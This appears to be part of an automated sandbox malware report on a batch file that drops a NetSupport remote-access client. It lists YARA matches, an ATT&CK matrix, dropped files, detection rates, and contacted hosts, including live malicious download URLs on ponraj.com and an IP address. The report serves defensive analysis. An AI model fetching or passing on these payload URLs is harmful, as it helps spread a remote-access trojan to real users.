Code function: 16_2_110EE230 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,

16_2_110EE230

Source: 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: Shell_TrayWnd
Source: 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: Progman

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\ProgramData\client32.exe	Code function: EnumSystemLocalesA,	16_2_11174B29
Source: C:\ProgramData\client32.exe	Code function: GetLocaleInfoA,	16_2_1116C24E
Source: C:\ProgramData\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	16_2_111746A1
Source: C:\ProgramData\client32.exe	Code function: EnumSystemLocalesA,	16_2_11174B90
Source: C:\ProgramData\client32.exe	Code function: EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,	16_2_11174BCC

Source: C:\ProgramData\7zz.exe

Code function: 13_2_0040C756 GetSystemTime,SystemTimeToFileTime,

13_2_0040C756

Source: C:\ProgramData\7zz.exe

Code function: 13_2_0046CF4C EntryPoint,GetVersion,GetCommandLineA,

13_2_0046CF4C

Source: Yara match	File source: 21.2.client32.exe.72b30000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.client32.exe.6dae0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.6dae0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.client32.exe.72b30000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.client32.exe.72b30000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.client32.exe.6dae0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.22a96c8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.client32.exe.6dae0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.2299d50.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.client32.exe.11e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.client32.exe.72b30000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.client32.exe.6bf50000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.27543f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.22a96c8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.23c3280.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.23be908.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.23b6790.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.7zz.exe.23c3280.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.451024068.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.406057046.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.433693165.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.654634382.000000000350F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.658205663.000000006BF90000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.449712542.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.450737079.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.412171192.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.654210424.0000000001735000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.654634382.0000000003521000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.656355109.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000000.431953663.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.401594990.0000000002751000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.411812182.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.410473552.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.654110401.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.433418912.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7zz.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 5792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 5592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 5660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 4712, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\client32.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\ProgramData\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Scripting	1 Valid Accounts	1 Valid Accounts	11 Scripting	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Screen Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Native API	1 Scheduled Task/Job	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	2 Input Capture	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Software Packing	NTDS	41 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	1 Registry Run Keys / Startup Folder	1 Masquerading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Valid Accounts	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	2 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Access Token Manipulation	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	12 Process Injection	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
tUUPQygorhzFkIcHuB.bat	0%	ReversingLabs
tUUPQygorhzFkIcHuB.bat	3%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\ProgramData\7zz.exe	0%	ReversingLabs
C:\ProgramData\HTCTL32.DLL	3%	ReversingLabs
C:\ProgramData\PCICHEK.DLL	5%	ReversingLabs
C:\ProgramData\PCICL32.DLL	5%	ReversingLabs
C:\ProgramData\TCCTL32.DLL	3%	ReversingLabs
C:\ProgramData\client32.exe	11%	ReversingLabs
C:\ProgramData\msvcr100.dll	0%	ReversingLabs
C:\ProgramData\pcicapi.dll	3%	ReversingLabs
C:\ProgramData\putty.exe	0%	ReversingLabs
C:\ProgramData\remcmdstub.exe	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ponraj.com	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.pci.co.uk/support	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.pci.co.uk/supportsupport	0%	URL Reputation	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://127.0.0.1RESUMEPRINTING	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z:	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z-oC:	100%	Avira URL Cloud	malware
http://5.252.178.48/fakeurl.htm	0%	Avira URL Cloud	safe
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-oC:	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat-oC:	100%	Avira URL Cloud	malware
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geography.netsupportsoftware.com	62.172.138.67	true	false		high
ponraj.com	188.127.225.160	true	false	10%, Virustotal, Browse	unknown
geo.netsupportsoftware.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	true	Avira URL Cloud: malware	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false		high
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z	true	Avira URL Cloud: malware	unknown
http://5.252.178.48/fakeurl.htm	false	Avira URL Cloud: safe	unknown
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.netsupportsoftware.com	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe.13.dr	false		high
http://www.pci.co.uk/support	7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656355109.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412171192.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433693165.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.451024068.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr	false	URL Reputation: safe	unknown
http://%s/testpage.htmwininet.dll	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658205663.000000006BF90000.00000002.00000001.01000000.00000009.sdmp, HTCTL32.DLL.13.dr	false	Avira URL Cloud: safe	low
https://sectigo.com/CPS0	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr	false		high
http://ocsp.sectigo.com0	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/og	client32.exe, 00000010.00000003.409709051.0000000005D1F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pci.co.uk/supportsupport	7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656355109.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412171192.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433693165.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.451024068.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr	false	URL Reputation: safe	unknown
http://ocsp.thawte.com0	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe.13.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspsLV	client32.exe, 00000010.00000003.412099334.0000000005CD1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.416938121.0000000005CFD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.409709051.0000000005D2A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.411970326.0000000005D2E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.415126144.0000000005D20000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.415864969.0000000005CFD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.411806687.0000000005D1F000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.416851707.0000000005D2E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.413186651.0000000005CF0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.411090507.0000000005D2E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.655064090.0000000005D1C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.413747709.0000000005D2E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.412310764.0000000005CF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://127.0.0.1RESUMEPRINTING	7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr	false	URL Reputation: safe	low
http://%s/testpage.htm	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658205663.000000006BF90000.00000002.00000001.01000000.00000009.sdmp, HTCTL32.DLL.13.dr	false	Avira URL Cloud: safe	low
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspYL	client32.exe, 00000010.00000003.407845110.0000000005D1C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.408015163.0000000005D27000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1	7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000D.00000003.401594990.0000000002751000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.13.dr, TCCTL32.DLL.13.dr, PCICHEK.DLL.13.dr, pcicapi.dll.13.dr, remcmdstub.exe.13.dr, HTCTL32.DLL.13.dr	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://%s/fakeurl.htm	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.658205663.000000006BF90000.00000002.00000001.01000000.00000009.sdmp, HTCTL32.DLL.13.dr	false	Avira URL Cloud: safe	low
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat-oC:	curl.exe, 00000007.00000002.398580764.00000287CB4A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://geo.netsupportsoftware.com/	client32.exe, 00000010.00000003.409709051.0000000005D1F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.aspN	client32.exe, 00000010.00000003.409709051.0000000005D2A000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000003.411090507.0000000005D2E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-oC:	curl.exe, 00000005.00000002.396342674.000001615B1E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z:	curl.exe, 00000003.00000003.392913606.0000022D39A23000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000002.393357483.0000022D39A3C000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.392896300.0000022D39A21000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, client32.exe.13.dr	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
http://www.symauth.com/rpa00	7zz.exe, 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000D.00000003.401594990.0000000002751000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.13.dr, TCCTL32.DLL.13.dr, PCICHEK.DLL.13.dr, pcicapi.dll.13.dr, remcmdstub.exe.13.dr, HTCTL32.DLL.13.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	7zz.exe, 0000000D.00000003.402573510.0000000002285000.00000004.00000020.00020000.00000000.sdmp, putty.exe.13.dr	false	URL Reputation: safe	unknown
https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z-oC:	curl.exe, 00000003.00000002.393332683.0000022D39A07000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.netsupportschool.com/tutor-assistant.asp11(L	7zz.exe, 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000010.00000002.656355109.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000015.00000002.412171192.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000018.00000002.433693165.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, client32.exe, 00000019.00000002.451024068.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, PCICL32.DLL.13.dr	false		high
